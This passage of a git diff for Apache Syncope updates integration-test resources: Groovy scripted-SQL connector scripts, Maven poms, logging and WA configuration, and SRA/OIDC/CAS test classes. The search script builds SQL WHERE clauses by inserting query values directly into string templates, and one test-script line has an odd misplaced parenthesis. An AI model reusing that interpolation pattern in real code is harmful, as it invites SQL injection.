License. */ -import groovy.sql.Sql; -import groovy.sql.DataSet; +import groovy.sql.Sql // Parameters: // The connector sends the following: @@ -48,11 +47,11 @@ import groovy.sql.DataSet; // !!!! Each Map must contain a '__UID__' and '__NAME__' attribute. // This is required to build a ConnectorObject. -log.info("Entering " + action + " Script"); +log.info("Entering " + action + " Script") -def sql = new Sql(connection); +def sql = new Sql(connection) def result = [] -def where = ""; +def where = "" if (query != null) { // Need to handle the __UID__ in queries @@ -61,7 +60,7 @@ if (query != null) { } // We can use Groovy template engine to generate our custom SQL queries - def engine = new groovy.text.SimpleTemplateEngine(); + def engine = new groovy.text.SimpleTemplateEngine() def whereTemplates = [ CONTAINS:' WHERE $left ${not ? "NOT " : ""}LIKE "%$right%"', @@ -74,21 +73,22 @@ if (query != null) { LESSTHANOREQUAL:' WHERE $left ${not ? ">" : "<="} "$right"' ] - def wt = whereTemplates.get(query.get("operation")); - def binding = [left:query.get("left"),right:query.get("right"),not:query.get("not")]; - def template = engine.createTemplate(wt).make(binding); - where = template.toString(); + def wt = whereTemplates.get(query.get("operation")) + def binding = [left:query.get("left"),right:query.get("right"),not:query.get("not")] + def template = engine.createTemplate(wt).make(binding) + where = template.toString() log.ok("Search WHERE clause is: "+ where) } -switch ( objectClass ) { +switch (objectClass) { case "__PRINTER__": - sql.eachRow("SELECT * FROM TESTPRINTER " + where + ((where?.trim ()) ? "AND" : "WHERE") + " deleted <> TRUE", - {result.add([__UID__:it.id, __NAME__:it.id, ID:it.id, PRINTERNAME:it.printername, LOCATION:it.location])} ); + sql.eachRow("SELECT * FROM TESTPRINTER " + where + ((where?.trim()) ? "AND" : "WHERE") + " deleted <> TRUE") { row -> + result.add([__UID__:row["id"], __NAME__:row["id"], ID:row["id"], PRINTERNAME:row["printername"], LOCATION:row["location"]]) + } break default: - result; + result } -return result; +return result diff --git a/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy b/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy index 712dda92657..2674d64f9c6 100644 --- a/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy +++ b/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy @@ -16,8 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.sql.Sql; -import groovy.sql.DataSet; +import groovy.sql.Sql // Parameters: // The connector sends the following: @@ -46,54 +45,52 @@ import groovy.sql.DataSet; // "attributes":Map of attributes name/values // ] -log.info("Entering " + action + " Script"); -def sql = new Sql(connection); +log.info("Entering " + action + " Script") +def sql = new Sql(connection) if (action.equalsIgnoreCase("GET_LATEST_SYNC_TOKEN")) { switch (objectClass) { case "__PRINTER__": - row = sql.firstRow("SELECT lastmodification FROM TESTPRINTER ORDER BY lastmodification DESC"); + row = sql.firstRow("SELECT lastmodification FROM TESTPRINTER ORDER BY lastmodification DESC") log.ok("Get Latest Sync Token script: last token is: " + row["lastmodification"]) - break; + break default: - row = null; + row = null } - return row == null ? null : row["lastmodification"].getTime(); + return row == null ? null : row["lastmodification"].getTime() } else if (action.equalsIgnoreCase("SYNC")) { - def result = []; - def lastmodification = null; + def result = [] + def lastmodification = null if (token != null) { - lastmodification = new Date(token); + lastmodification = new Date(token) } else { - lastmodification = new Date(0); + lastmodification = new Date(0) } switch (objectClass) { case "__PRINTER__": - sql.eachRow("SELECT * FROM TESTPRINTER WHERE lastmodification > ${lastmodification}", - { - result.add([ - operation:it.deleted ? "DELETE": "CREATE_OR_UPDATE", - uid:it.id.toString(), - token:it.lastmodification.getTime(), - attributes:[ - __UID__:it.id.toString(), - __NAME__:it.id.toString(), - ID:it.id.toString(), - PRINTERNAME:it.printername, - LOCATION:it.location - ] - ]); - } - ) - break; + sql.eachRow("SELECT * FROM TESTPRINTER WHERE lastmodification > ${lastmodification}") { row -> + result.add([ + operation:row["deleted"] ? "DELETE": "CREATE_OR_UPDATE", + uid:row["id"].toString(), + token:row["lastmodification"].getTime(), + attributes:[ + __UID__:row["id"].toString(), + __NAME__:row["id"].toString(), + ID:row["id"].toString(), + PRINTERNAME:row["printername"], + LOCATION:row["location"] + ] + ]) + } + break } - log.ok("Sync script: found " + result.size() + " events to sync"); - return result; + log.ok("Sync script: found " + result.size() + " events to sync") + return result } else { - log.error("Sync script: action '" + action + "' is not implemented in this script"); - return null; + log.error("Sync script: action '" + action + "' is not implemented in this script") + return null } diff --git a/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy b/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy index 1de9d9f8d01..54553503b4b 100644 --- a/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy +++ b/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy @@ -16,8 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.sql.Sql; -import groovy.sql.DataSet; +import groovy.sql.Sql // Parameters: // The connector sends the following: @@ -25,7 +24,7 @@ import groovy.sql.DataSet; // action: a string describing the action ("TEST" here) // log: a handler to the Log facility -log.info("Entering " + action + " Script"); -def sql = new Sql(connection); +log.info("Entering " + action + " Script") +def sql = new Sql(connection) -sql.eachRow("select * from TESTPRINTER", { println it.id} ); \ No newline at end of file +sql.eachRow("select * from TESTPRINTER"), { row -> println row["id"] } diff --git a/fit/core-reference/src/test/resources/scriptedsql/UpdateScript.groovy b/fit/core-reference/src/test/resources/scriptedsql/UpdateScript.groovy index f3a99ba2a1b..dabe3adfdc9 100644 --- a/fit/core-reference/src/test/resources/scriptedsql/UpdateScript.groovy +++ b/fit/core-reference/src/test/resources/scriptedsql/UpdateScript.groovy @@ -53,7 +53,7 @@ def sql = new Sql(connection); switch (action) { case "UPDATE": - if (attributes.get("LOCATION").get(0) != null) { + if (attributes.get("LOCATION") != null && !attributes.get("LOCATION").isEmpty() && attributes.get("LOCATION").get(0) != null) { sql.executeUpdate("UPDATE TESTPRINTER SET printername = ?, location = ?, lastmodification = ? where id = ?", [ attributes.get("PRINTERNAME").get(0), @@ -64,6 +64,8 @@ case "UPDATE": return attributes.get("__NAME__").get(0); } + + return uid break case "UPDATE_DELTA": diff --git a/fit/core-reference/src/test/resources/test.properties b/fit/core-reference/src/test/resources/test.properties index b8a67ffac4f..6e96e78237c 100644 --- a/fit/core-reference/src/test/resources/test.properties +++ b/fit/core-reference/src/test/resources/test.properties @@ -19,7 +19,7 @@ basedir=${basedir} test.csv.src=${project.build.directory}/test-classes/test.csv test.csv.dst=${test.csvdir.path}/test.csv -test.log.dir=${log.directory} +test.log.dir=${project.build.directory}/log testmail.smtpport=${testmail.smtpport} testmail.pop3port=${testmail.pop3port} @@ -30,6 +30,6 @@ testdb.username=${testdb.username} testdb.password=${testdb.password} connid.soap.version=${connid.soap.version} -connid.database.version=${connid.database.version} +connid.db.version=${connid.db.version} springActiveProfiles=${spring.profiles.active} diff --git a/fit/enduser-reference/pom.xml b/fit/enduser-reference/pom.xml index 993b4dfc8ff..942bd56a76f 100644 --- a/fit/enduser-reference/pom.xml +++ b/fit/enduser-reference/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-fit - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope FIT Enduser Reference @@ -41,8 +41,8 @@ under the License. - org.apache.syncope.client.idrepo - syncope-client-idrepo-enduser + org.apache.syncope.client.am + syncope-client-am-enduser ${project.version} @@ -95,6 +95,21 @@ under the License. + + org.apache.maven.plugins + maven-dependency-plugin + true + + + set-bundles + process-test-resources + + copy + + + + + org.codehaus.cargo cargo-maven3-plugin @@ -108,8 +123,6 @@ under the License. ${project.build.directory}/cargo/extract 300000 - ${cargo.log} - ${cargo.output} file:/dev/./urandom @@ -179,6 +192,14 @@ under the License. src/test/resources true + + ${basedir}/../core-reference/src/test/resources/rest + ${project.build.testOutputDirectory}/rest + + + ${basedir}/../core-reference/src/test/resources/scriptedsql + ${project.build.testOutputDirectory}/scriptedsql + @@ -226,8 +247,8 @@ under the License. - org.apache.syncope.client.idrepo - syncope-client-idrepo-enduser + org.apache.syncope.client.am + syncope-client-am-enduser ${project.version} diff --git a/fit/enduser-reference/src/main/resources/log4j2.xml b/fit/enduser-reference/src/main/resources/log4j2.xml index bec86676a2b..5f468e13b88 100644 --- a/fit/enduser-reference/src/main/resources/log4j2.xml +++ b/fit/enduser-reference/src/main/resources/log4j2.xml @@ -21,8 +21,8 @@ under the License. - %d{HH:mm:ss.SSS} %-5level %logger - %msg%n @@ -41,7 +41,7 @@ under the License. - + diff --git a/fit/pom.xml b/fit/pom.xml index 3b243aea315..ea53b9dc942 100644 --- a/fit/pom.xml +++ b/fit/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope FIT diff --git a/fit/wa-reference/pom.xml b/fit/wa-reference/pom.xml index b0a1ebb7b16..da6dc73a53d 100644 --- a/fit/wa-reference/pom.xml +++ b/fit/wa-reference/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-fit - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope FIT WA Reference @@ -41,6 +41,27 @@ under the License. + + org.springframework + spring-framework-bom + ${spring-framework.version} + pom + import + + + org.springframework.security + spring-security-bom + ${spring-security.version} + pom + import + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + org.apereo.cas cas-server-support-bom @@ -48,6 +69,19 @@ under the License. pom import + + + + nz.net.ultraq.thymeleaf + thymeleaf-layout-dialect + ${thymeleaf-layout-dialect.version} + + + + org.apache.cxf + cxf-rt-transports-http + ${cxf.version} + @@ -142,6 +176,56 @@ under the License. + + org.apache.maven.plugins + maven-dependency-plugin + true + + + set-bundles + process-test-resources + + copy + + + + + + + io.fabric8 + docker-maven-plugin + + ${skipTests} + + + kennethreitz/httpbin + + + 80:80 + + + + + + + + start-httpbin + pre-integration-test + + start + + + + stop-httpbin + post-integration-test + + stop + remove + + + + + org.codehaus.cargo cargo-maven3-plugin @@ -155,8 +239,6 @@ under the License. ${project.build.directory}/cargo/extract 600000 - ${cargo.log} - ${cargo.output} file:/dev/./urandom @@ -258,7 +340,7 @@ under the License. maven-surefire-plugin true - -Djavax.net.ssl.trustStore=${basedir}/src/test/resources/keystore.jks -Djavax.net.ssl.trustStorePassword=password + -Djavax.net.ssl.trustStore=${basedir}/src/test/resources/keystore.jks -Djavax.net.ssl.trustStorePassword=password @@ -266,7 +348,7 @@ under the License. maven-failsafe-plugin true - -Djavax.net.ssl.trustStore=${basedir}/src/test/resources/keystore.jks -Djavax.net.ssl.trustStorePassword=password + -Djavax.net.ssl.trustStore=${basedir}/src/test/resources/keystore.jks -Djavax.net.ssl.trustStorePassword=password @@ -301,6 +383,14 @@ under the License. keystore.jks + + ${basedir}/../core-reference/src/test/resources/rest + ${project.build.testOutputDirectory}/rest + + + ${basedir}/../core-reference/src/test/resources/scriptedsql + ${project.build.testOutputDirectory}/scriptedsql + ${basedir}/../../sra/src/test/resources/debug false diff --git a/fit/wa-reference/src/main/resources/log4j2.xml b/fit/wa-reference/src/main/resources/log4j2.xml index 2d3bb2e6ec0..e1468f37ed6 100644 --- a/fit/wa-reference/src/main/resources/log4j2.xml +++ b/fit/wa-reference/src/main/resources/log4j2.xml @@ -21,8 +21,8 @@ under the License. - %d{HH:mm:ss.SSS} %-5level %logger - %msg%n @@ -52,6 +52,10 @@ under the License. + + + + diff --git a/fit/wa-reference/src/main/resources/wa-embedded.properties b/fit/wa-reference/src/main/resources/wa-embedded.properties index 16f6bf6270c..baf6dccb7cb 100644 --- a/fit/wa-reference/src/main/resources/wa-embedded.properties +++ b/fit/wa-reference/src/main/resources/wa-embedded.properties @@ -15,6 +15,7 @@ # specific language governing permissions and limitations # under the License. spring.main.allow-circular-references=true +spring.cloud.refresh.never-refreshable=com.zaxxer.hikari.HikariDataSource,org.apereo.cas.configuration.model.core.CasServerProperties keymaster.address=https://localhost:9443/syncope/rest/keymaster keymaster.username=${anonymousUser} @@ -23,13 +24,8 @@ keymaster.password=${anonymousKey} cas.server.name=https://localhost:9443 cas.server.prefix=${cas.server.name}/syncope-wa -conf.directory=${conf.directory} -cas.standalone.configuration-directory=${conf.directory} - -cas.authn.saml-idp.core.entity-id=${cas.server.prefix}/saml -cas.authn.saml-idp.metadata.http.metadata-backup-location=file:${conf.directory}/saml - -cas.authn.oidc.core.issuer=${cas.server.prefix}/oidc +cas.authn.syncope.url=${cas.server.name}/syncope +cas.authn.syncope.name=DefaultSyncopeAuthModule service.discovery.address=https://localhost:9443/syncope-wa/ diff --git a/fit/wa-reference/src/test/java/org/apache/syncope/fit/AbstractITCase.java b/fit/wa-reference/src/test/java/org/apache/syncope/fit/AbstractITCase.java index 39593705752..3874247be42 100644 --- a/fit/wa-reference/src/test/java/org/apache/syncope/fit/AbstractITCase.java +++ b/fit/wa-reference/src/test/java/org/apache/syncope/fit/AbstractITCase.java @@ -30,6 +30,7 @@ import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.MediaType; import org.apache.commons.lang3.tuple.Triple; +import org.apache.cxf.jaxrs.client.WebClient; import org.apache.http.Consts; import org.apache.http.NameValuePair; import org.apache.http.client.entity.UrlEncodedFormEntity; @@ -47,7 +48,9 @@ import org.apache.syncope.common.rest.api.service.SAML2SP4UIIdPService; import org.apache.syncope.common.rest.api.service.SRARouteService; import org.apache.syncope.common.rest.api.service.UserService; +import org.apache.syncope.common.rest.api.service.wa.WAConfigService; import org.apache.syncope.fit.sra.AbstractSRAITCase; +import org.apereo.cas.oidc.OidcConstants; import org.jsoup.Connection; import org.jsoup.Jsoup; import org.jsoup.nodes.FormElement; @@ -63,6 +66,10 @@ public abstract class AbstractITCase { protected static final String ADMIN_PWD = "password"; + private static final String ANONYMOUS_USER = "anonymous"; + + private static final String ANONYMOUS_KEY = "anonymousKey"; + protected static final String CORE_ADDRESS = "https://localhost:9443/syncope/rest"; protected static final String CONSOLE_ADDRESS = "https://localhost:9443/syncope-console/"; @@ -83,6 +90,8 @@ public abstract class AbstractITCase { protected static ClientAppService CLIENT_APP_SERVICE; + protected static WAConfigService WA_CONFIG_SERVICE; + protected static SRARouteService SRA_ROUTE_SERVICE; protected static SAML2SP4UIIdPService SAML2SP4UI_IDP_SERVICE; @@ -97,6 +106,7 @@ public static void restSetup() { USER_SERVICE = ADMIN_CLIENT.getService(UserService.class); POLICY_SERVICE = ADMIN_CLIENT.getService(PolicyService.class); CLIENT_APP_SERVICE = ADMIN_CLIENT.getService(ClientAppService.class); + WA_CONFIG_SERVICE = ADMIN_CLIENT.getService(WAConfigService.class); SRA_ROUTE_SERVICE = ADMIN_CLIENT.getService(SRARouteService.class); SAML2SP4UI_IDP_SERVICE = ADMIN_CLIENT.getService(SAML2SP4UIIdPService.class); OIDCC4UI_PROVIDER_SERVICE = ADMIN_CLIENT.getService(OIDCC4UIProviderService.class); @@ -106,11 +116,39 @@ public static void restSetup() { public static void waitForWARefresh() { SAML2IdPEntityService samlIdPEntityService = ADMIN_CLIENT.getService(SAML2IdPEntityService.class); - await().atMost(50, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { + await().atMost(120, TimeUnit.SECONDS).pollInterval(20, TimeUnit.SECONDS).until(() -> { boolean refreshed = false; try { + String metadata = WebClient.create( + WA_ADDRESS + "/idp/metadata").get().readEntity(String.class); + if (metadata.contains("localhost:8080")) { + throw new IllegalStateException(); + } + metadata = WebClient.create( + WA_ADDRESS + "/oidc/" + OidcConstants.WELL_KNOWN_OPENID_CONFIGURATION_URL). + get().readEntity(String.class); + if (metadata.contains("localhost:8080")) { + throw new IllegalStateException(); + } + metadata = WebClient.create( + WA_ADDRESS + "/actuator/registeredServices", ANONYMOUS_USER, ANONYMOUS_KEY, null). + get().readEntity(String.class); + if (metadata.contains("localhost:8080/syncope-wa")) { + throw new IllegalStateException(); + } + metadata = WebClient.create( + WA_ADDRESS + "/actuator/authenticationHandlers", ANONYMOUS_USER, ANONYMOUS_KEY, null). + get().readEntity(String.class); + if (!metadata.contains("DefaultLDAPAuthModule")) { + throw new IllegalStateException(); + } + samlIdPEntityService.get(SAML2IdPEntityService.DEFAULT_OWNER); refreshed = true; + } catch (IllegalStateException e) { + WebClient.create( + WA_ADDRESS + "/actuator/refresh", ANONYMOUS_USER, ANONYMOUS_KEY, null). + post(null); } catch (Exception e) { // ignore } diff --git a/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/AbstractSRAITCase.java b/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/AbstractSRAITCase.java index 51758a9b5b9..0b9d11c94af 100644 --- a/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/AbstractSRAITCase.java +++ b/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/AbstractSRAITCase.java @@ -19,6 +19,9 @@ package org.apache.syncope.fit.sra; import static org.awaitility.Awaitility.await; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.is; +import static org.hamcrest.Matchers.oneOf; import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertNotNull; @@ -46,7 +49,9 @@ import org.apache.http.HttpStatus; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.util.EntityUtils; +import org.apache.syncope.common.lib.policy.AttrReleasePolicyTO; import org.apache.syncope.common.lib.policy.AuthPolicyTO; +import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.DefaultAuthPolicyConf; import org.apache.syncope.common.lib.to.SRARouteTO; import org.apache.syncope.common.lib.types.PolicyType; @@ -64,9 +69,7 @@ public abstract class AbstractSRAITCase extends AbstractITCase { protected static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); - protected static final int PORT = 8080; - - protected static final String SRA_ADDRESS = "http://localhost:" + PORT; + protected static final String SRA_ADDRESS = "http://127.0.0.1:8080"; protected static final String QUERY_STRING = "key1=value1&key2=value2&key2=value3&key3=an%20url%20encoded%20value%3A%20this%21"; @@ -81,7 +84,7 @@ public static void sraRouteSetup() { SRARouteTO publicRoute = new SRARouteTO(); publicRoute.setName("public"); - publicRoute.setTarget(URI.create("http://httpbin.org:80")); + publicRoute.setTarget(URI.create("http://localhost:80")); publicRoute.setType(SRARouteType.PUBLIC); publicRoute.setCsrf(false); publicRoute.getPredicates().add(new SRARoutePredicate.Builder(). @@ -96,7 +99,7 @@ public static void sraRouteSetup() { SRARouteTO protectedRoute = new SRARouteTO(); protectedRoute.setName("protected"); - protectedRoute.setTarget(URI.create("http://httpbin.org:80")); + protectedRoute.setTarget(URI.create("http://localhost:80")); protectedRoute.setType(SRARouteType.PROTECTED); protectedRoute.setCsrf(false); protectedRoute.getPredicates().add(new SRARoutePredicate.Builder(). @@ -111,7 +114,7 @@ public static void sraRouteSetup() { SRARouteTO logoutRoute = new SRARouteTO(); logoutRoute.setName("logout"); - logoutRoute.setTarget(URI.create("http://httpbin.org:80")); + logoutRoute.setTarget(URI.create("http://localhost:80")); logoutRoute.setType(SRARouteType.PROTECTED); logoutRoute.setLogout(true); logoutRoute.getPredicates().add(new SRARoutePredicate.Builder(). @@ -125,7 +128,7 @@ public static void sraRouteSetup() { SRARouteTO postLogout = new SRARouteTO(); postLogout.setName("postLogout"); - postLogout.setTarget(URI.create("http://httpbin.org:80")); + postLogout.setTarget(URI.create("http://localhost:80")); postLogout.setType(SRARouteType.PUBLIC); postLogout.getPredicates().add(new SRARoutePredicate.Builder(). factory(SRARoutePredicateFactory.PATH).args("/logout").build()); @@ -191,7 +194,7 @@ protected static void doStartSRA(final String activeProfile) await().atMost(120, TimeUnit.SECONDS).pollInterval(3, TimeUnit.SECONDS).until(() -> { boolean connected = false; try (Socket socket = new Socket()) { - socket.connect(new InetSocketAddress("0.0.0.0", PORT)); + socket.connect(new InetSocketAddress("0.0.0.0", 8080)); connected = socket.isConnected(); } catch (ConnectException e) { // ignore @@ -238,6 +241,37 @@ protected static AuthPolicyTO getAuthPolicy() { }); } + protected static AttrReleasePolicyTO getAttrReleasePolicy() { + String description = "SRA attr release policy"; + + return POLICY_SERVICE.list(PolicyType.ATTR_RELEASE).stream(). + map(AttrReleasePolicyTO.class::cast). + filter(policy -> description.equals(policy.getName()) + && policy.getConf() instanceof DefaultAttrReleasePolicyConf). + findFirst(). + orElseGet(() -> { + DefaultAttrReleasePolicyConf policyConf = new DefaultAttrReleasePolicyConf(); + policyConf.getAllowedAttrs().add("family_name"); + policyConf.getAllowedAttrs().add("name"); + policyConf.getAllowedAttrs().add("given_name"); + policyConf.getAllowedAttrs().add("email"); + policyConf.getAllowedAttrs().add("groups"); + + AttrReleasePolicyTO policy = new AttrReleasePolicyTO(); + policy.setName(description); + policy.setConf(policyConf); + + Response response = POLICY_SERVICE.create(PolicyType.ATTR_RELEASE, policy); + if (response.getStatusInfo().getStatusCode() != Response.Status.CREATED.getStatusCode()) { + fail("Could not create Test Attr Release Policy"); + } + + return POLICY_SERVICE.read( + PolicyType.ATTR_RELEASE, + response.getHeaderString(RESTHeaders.RESOURCE_KEY)); + }); + } + protected static ObjectNode checkGetResponse( final CloseableHttpResponse response, final String originalRequestURI) throws IOException { @@ -258,12 +292,11 @@ protected static ObjectNode checkGetResponse( ObjectNode headers = (ObjectNode) json.get("headers"); assertEquals(MediaType.TEXT_HTML, headers.get(HttpHeaders.ACCEPT).asText()); - assertEquals(EN_LANGUAGE, headers.get(HttpHeaders.ACCEPT_LANGUAGE).asText()); - assertEquals("localhost:" + PORT, headers.get("X-Forwarded-Host").asText()); + assertThat(headers.get("X-Forwarded-Host").asText(), is(oneOf("localhost:8080", "127.0.0.1:8080"))); - assertEquals( - StringUtils.substringBefore(originalRequestURI, "?"), - StringUtils.substringBefore(json.get("url").asText(), "?")); + String withHost = StringUtils.substringBefore(originalRequestURI, "?"); + String withIP = withHost.replace("localhost", "127.0.0.1"); + assertThat(StringUtils.substringBefore(json.get("url").asText(), "?"), is(oneOf(withHost, withIP))); return headers; } diff --git a/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/CASSRAITCase.java b/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/CASSRAITCase.java index a088c07e571..bb2a7d4d3fe 100644 --- a/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/CASSRAITCase.java +++ b/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/CASSRAITCase.java @@ -45,9 +45,11 @@ import org.apache.http.impl.client.HttpClients; import org.apache.http.message.BasicNameValuePair; import org.apache.http.util.EntityUtils; +import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.to.CASSPClientAppTO; import org.apache.syncope.common.lib.types.ClientAppType; import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.service.wa.WAConfigService; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; @@ -70,8 +72,9 @@ public static void clientAppSetup() { orElseGet(() -> { CASSPClientAppTO app = new CASSPClientAppTO(); app.setName(appName); + app.setRealm(SyncopeConstants.ROOT_REALM); app.setClientAppId(4L); - app.setServiceId("http://localhost:8080/.*"); + app.setServiceId("http://127.0.0.1:8080/.*"); Response response = CLIENT_APP_SERVICE.create(ClientAppType.CASSP, app); if (response.getStatusInfo().getStatusCode() != Response.Status.CREATED.getStatusCode()) { @@ -85,7 +88,7 @@ public static void clientAppSetup() { clientApp.setAuthPolicy(getAuthPolicy().getKey()); CLIENT_APP_SERVICE.update(ClientAppType.CASSP, clientApp); - CLIENT_APP_SERVICE.pushToWA(); + WA_CONFIG_SERVICE.pushToWA(WAConfigService.PushSubject.clientApps, List.of()); } @Test diff --git a/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/OAUTH2SRAITCase.java b/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/OAUTH2SRAITCase.java index bcd7369cc02..4f6cec20400 100644 --- a/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/OAUTH2SRAITCase.java +++ b/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/OAUTH2SRAITCase.java @@ -19,16 +19,13 @@ package org.apache.syncope.fit.sra; import static org.junit.jupiter.api.Assertions.assertEquals; -import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.fail; import static org.junit.jupiter.api.Assumptions.assumeTrue; -import com.fasterxml.jackson.databind.JsonNode; import java.io.IOException; import java.io.InputStream; import java.lang.invoke.MethodHandles; -import java.text.ParseException; import java.util.Properties; import java.util.concurrent.TimeoutException; import org.apache.http.HttpStatus; @@ -54,6 +51,8 @@ public static void clientAppSetup() { } catch (Exception e) { fail("Could not load /sra-oauth2.properties", e); } + SRA_REGISTRATION_ID = "OAUTH2"; + CLIENT_APP_ID = 2L; CLIENT_ID = props.getProperty("sra.oauth2.client-id"); assertNotNull(CLIENT_ID); CLIENT_SECRET = props.getProperty("sra.oauth2.client-secret"); @@ -61,7 +60,8 @@ public static void clientAppSetup() { TOKEN_URI = props.getProperty("sra.oauth2.tokenUri"); assertNotNull(TOKEN_URI); - oidcClientAppSetup(OAUTH2SRAITCase.class.getName(), "OAUTH2", 2L, CLIENT_ID, CLIENT_SECRET); + oidcClientAppSetup( + OAUTH2SRAITCase.class.getName(), SRA_REGISTRATION_ID, CLIENT_APP_ID, CLIENT_ID, CLIENT_SECRET); } @Override @@ -70,7 +70,7 @@ protected void checkLogout(final CloseableHttpResponse response) { } @Override - protected void checkIdToken(final JsonNode json) throws ParseException { - assertFalse(json.has("id_token")); + protected boolean checkIdToken() { + return false; } } diff --git a/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/OIDCSRAITCase.java b/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/OIDCSRAITCase.java index 5cb2c39e490..b379c1ef55d 100644 --- a/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/OIDCSRAITCase.java +++ b/fit/wa-reference/src/test/java/org/apache/syncope/fit/sra/OIDCSRAITCase.java @@ -18,6 +18,10 @@ */ package org.apache.syncope.fit.sra; +import static org.awaitility.Awaitility.await; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.is; +import static org.hamcrest.Matchers.oneOf; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; @@ -37,6 +41,7 @@ import java.util.List; import java.util.Properties; import java.util.Set; +import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import javax.ws.rs.core.Form; import javax.ws.rs.core.HttpHeaders; @@ -56,16 +61,25 @@ import org.apache.http.impl.client.HttpClients; import org.apache.http.message.BasicNameValuePair; import org.apache.http.util.EntityUtils; +import org.apache.syncope.common.lib.OIDCScopeConstants; +import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.to.OIDCRPClientAppTO; import org.apache.syncope.common.lib.types.ClientAppType; +import org.apache.syncope.common.lib.types.OIDCGrantType; import org.apache.syncope.common.lib.types.OIDCSubjectType; import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.service.wa.WAConfigService; +import org.apereo.cas.oidc.OidcConstants; import org.jsoup.Jsoup; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; public class OIDCSRAITCase extends AbstractSRAITCase { + protected static String SRA_REGISTRATION_ID; + + protected static Long CLIENT_APP_ID; + protected static String CLIENT_ID; protected static String CLIENT_SECRET; @@ -93,6 +107,7 @@ protected static void oidcClientAppSetup( orElseGet(() -> { OIDCRPClientAppTO app = new OIDCRPClientAppTO(); app.setName(appName); + app.setRealm(SyncopeConstants.ROOT_REALM); app.setClientAppId(clientAppId); app.setClientId(clientId); app.setClientSecret(clientSecret); @@ -113,12 +128,35 @@ protected static void oidcClientAppSetup( clientApp.setSubjectType(OIDCSubjectType.PUBLIC); clientApp.getRedirectUris().clear(); clientApp.getRedirectUris().add(SRA_ADDRESS + "/login/oauth2/code/" + sraRegistrationId); - clientApp.setAuthPolicy(getAuthPolicy().getKey()); clientApp.setSignIdToken(true); clientApp.setLogoutUri(SRA_ADDRESS + "/logout"); + clientApp.setAuthPolicy(getAuthPolicy().getKey()); + clientApp.setAttrReleasePolicy(getAttrReleasePolicy().getKey()); + clientApp.getScopes().add(OIDCScopeConstants.OPEN_ID); + clientApp.getScopes().add(OIDCScopeConstants.PROFILE); + clientApp.getScopes().add(OIDCScopeConstants.EMAIL); + clientApp.getSupportedGrantTypes().add(OIDCGrantType.password); + clientApp.getSupportedGrantTypes().add(OIDCGrantType.authorization_code); CLIENT_APP_SERVICE.update(ClientAppType.OIDCRP, clientApp); - CLIENT_APP_SERVICE.pushToWA(); + + await().atMost(60, TimeUnit.SECONDS).pollInterval(20, TimeUnit.SECONDS).until(() -> { + try { + String metadata = WebClient.create( + WA_ADDRESS + "/oidc/" + OidcConstants.WELL_KNOWN_OPENID_CONFIGURATION_URL). + get().readEntity(String.class); + if (!metadata.contains("groups")) { + WA_CONFIG_SERVICE.pushToWA(WAConfigService.PushSubject.conf, List.of()); + throw new IllegalStateException(); + } + + return true; + } catch (Exception e) { + // ignore + } + return false; + }); + WA_CONFIG_SERVICE.pushToWA(WAConfigService.PushSubject.clientApps, List.of()); } @BeforeAll @@ -131,13 +169,16 @@ public static void clientAppSetup() { } catch (Exception e) { fail("Could not load /sra-oidc.properties", e); } + SRA_REGISTRATION_ID = "OIDC"; + CLIENT_APP_ID = 1L; CLIENT_ID = props.getProperty("sra.oidc.client-id"); assertNotNull(CLIENT_ID); CLIENT_SECRET = 